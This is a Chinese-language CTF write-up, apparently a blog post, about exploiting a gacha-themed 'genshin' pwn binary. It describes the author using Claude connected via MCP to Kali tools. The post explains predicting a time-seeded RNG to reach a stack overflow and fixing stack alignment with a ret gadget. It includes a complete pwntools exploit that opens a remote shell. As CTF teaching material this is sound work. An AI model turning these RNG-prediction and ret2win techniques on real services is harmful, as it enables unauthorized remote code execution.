1.直接使用Claude进行求解,这里需要调用kali中的工具库,通过MCP协议进行连接,在测试之前,先配置好武器库及MCP协议,仅仅使用Windows本地环境,很浪费时间。
在这里插入图片描述
2.和AI不断的沟通交流,检查MCP协议是否可用
在这里插入图片描述
3.做好基础配置,剩下的就交给AI

在这里插入图片描述

解题思路如下所示:

一、信息收集

checksec查看保护机制:
checksec --file=genshin
在这里插入图片描述
nm 列出关键符号:abyss_gateway、secret_contract、perform_wish、add_item、recharge、main_menu。
在这里插入图片描述

二、关键函数定位(反汇编)

1.Win函数 - abyss_gateway @ 0x40135b
在这里插入图片描述
2. 漏洞函数 — secret_contract @ 0x401520
在这里插入图片描述
3. 触发路径 — perform_wish
在这里插入图片描述

三、利用约束

  • 初始 1600 原石,单抽 160,最多 10 抽
  • recharge 是假的(只 printf 报错),加不了原石
  • 90 抽保底完全够不着 → 靠概率打

四、突破:RNG 可预测

在这里插入图片描述

五、Payload 构造

栈布局:

[rbp-0x40]  buf[64]  
[rbp-0x08]  saved rbp
[rbp+0x00]  return addr  

溢出到返回地址需要 64 + 8 = 72字节。

最朴素方案:返回地址直接填 abyss_gateway: 'A'*72 + p64(0x40135b) 但会 SIGSEGV。
对齐坑 x86-64 ABI 要求 call 前rsp 16对齐,call 后函数入口处 rsp ≡ 8 (mod 16)。secret_contract 正常返回时 rsp ≡ 0 (mod 16)。

我们用 ret 跳到 abyss_gateway,相当于让它"被ret调用而不是 call 调用",进入时 rsp ≡ 0 (mod 16)。它内部 push rbp 后 rsp ≡ 8,再 call system 把 ret addr 压栈,进 system 时 rsp ≡ 0 —— 错位。system 内部 movaps 要求 16 对齐 → #GP。

修复:插一个 ret gadget
在 _init 里 0x40101a 有个干净的 ret。最终 payload:
‘A’*72 + p64(0x40101a) + p64(0x40135b)
执行流:

  1. secret_contract ret → 弹 0x40101a,rsp 增 8
  2. 0x40101a ret → 弹 0x40135b,rsp 再增 8 → rsp ≡ 0
  3. 进 abyss_gateway,push rbp → rsp ≡ 8,call system 后 rsp ≡ 0 ✓

六、完整流程

  1. find_seed() # 本机模拟,挑最快出 Columbina 的 t
  2. busy-wait 直到 time() == t # 精确到那一秒
  3. remote(host, port) # 服务器立刻 srand(t)
  4. 抽 N 次(N = 预测的命中抽数)
  5. 第 N 抽出5★ Columbina→ 进 secret_contract
  6. 收到 "Sign here..." 提示
  7. send 'A'*72 + p64(0x40101a) + p64(0x40135b)
  8. printf 把溢出后的 buf 当成 %s 打印(不影响)
  9. secret_contract ret → ret gadget → abyss_gateway → system("/bin/sh")
    10. p.interactive() -> shell

七、调试中踩到的坑

  1. pwn.py 文件名:from pwn import * 把自己import了,NameError。改名 final.py 或 solve.py。
  2. 栈对齐:直接ret到 win 函数 segfault,加 ret gadget 解决。
  3. 服务器idle超时:~75 分钟没动作就断,长挂的shell要发心跳。
  4. 每抽都消耗 2 个 rand():第一个定稀有度,第二个定具体物品。模拟时不能漏。
  5. 保底逻辑:pity > 89 时跳过稀有度判定,但rand()还是要消耗,模拟里要忠实复现。

八、技术栈一句话总结

利用 srand(time(NULL)) 的 RNG 可预测性,精确 timing 把服务器拽到能触发BOF的代码路径,再用ret gadget修栈对齐 ret2win 拿 shell。最终的exp如下所示:

#!/usr/bin/env python3
from pwn import *
import time, sys, ctypes

context.log_level = 'warn'

HOST, PORT = 'IP地址', 端口号  #修改成靶机IP及端口号      
ABYSS = 0x40135b
RET   = 0x40101a
PAYLOAD = b'A' * 72 + p64(RET) + p64(ABYSS)

libc = ctypes.CDLL('libc.so.6')

def predict(seed):
    libc.srand(ctypes.c_uint(seed))
    pity = 0
    for i in range(10):
        r1 = ctypes.c_int(libc.rand()).value % 1000
        pity += 1
        if pity > 89:
            r1 = 0
        r2 = ctypes.c_int(libc.rand()).value
        if r1 <= 5:
            return (i + 1, r2 % 8)
    return None

def find_seed():
    now = int(time.time())
    cands = []
    for d in range(2, 800):
        s = now + d
        r = predict(s)
        if r and r[1] == 7:
            cands.append((d, s, r[0]))
    cands.sort(key=lambda x: x[0])
    return cands

cands = find_seed()
print(f'[*] candidates: {cands[:5]}')
if not cands:
    print('[-] no Columbina seed in 800s window')
    sys.exit(1)
delta, target, n = cands[0]
print(f'[+] picked seed={target}  wait={delta}s  wishes={n}')

while time.time() < target - 0.2:
    time.sleep(0.3)
while time.time() < target:
    pass
print(f'[*] connecting at t={time.time():.3f}')

p = remote(HOST, PORT, timeout=10)
for _ in range(n - 1):
    p.recvuntil(b'Choice > ', timeout=6)
    p.sendline(b'1')
p.recvuntil(b'Choice > ', timeout=6)
p.sendline(b'1')

if b'Sign here' not in p.recvuntil(b'Sign here', timeout=12):
    print('[-] missed Columbina (clock drift?). Rerun.')
    sys.exit(1)
print('[+] secret_contract reached, sending ROP payload')
p.recvuntil(b'> ', timeout=4)
p.sendline(PAYLOAD)
time.sleep(0.4)

print('[+] shell is yours - type commands, \"exit\" to quit\n')
p.interactive()

将IP地址及端口,改写成自己的就行,flag在env环境变量中。
在这里插入图片描述

在这里插入图片描述

成功提交flag。
在这里插入图片描述

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐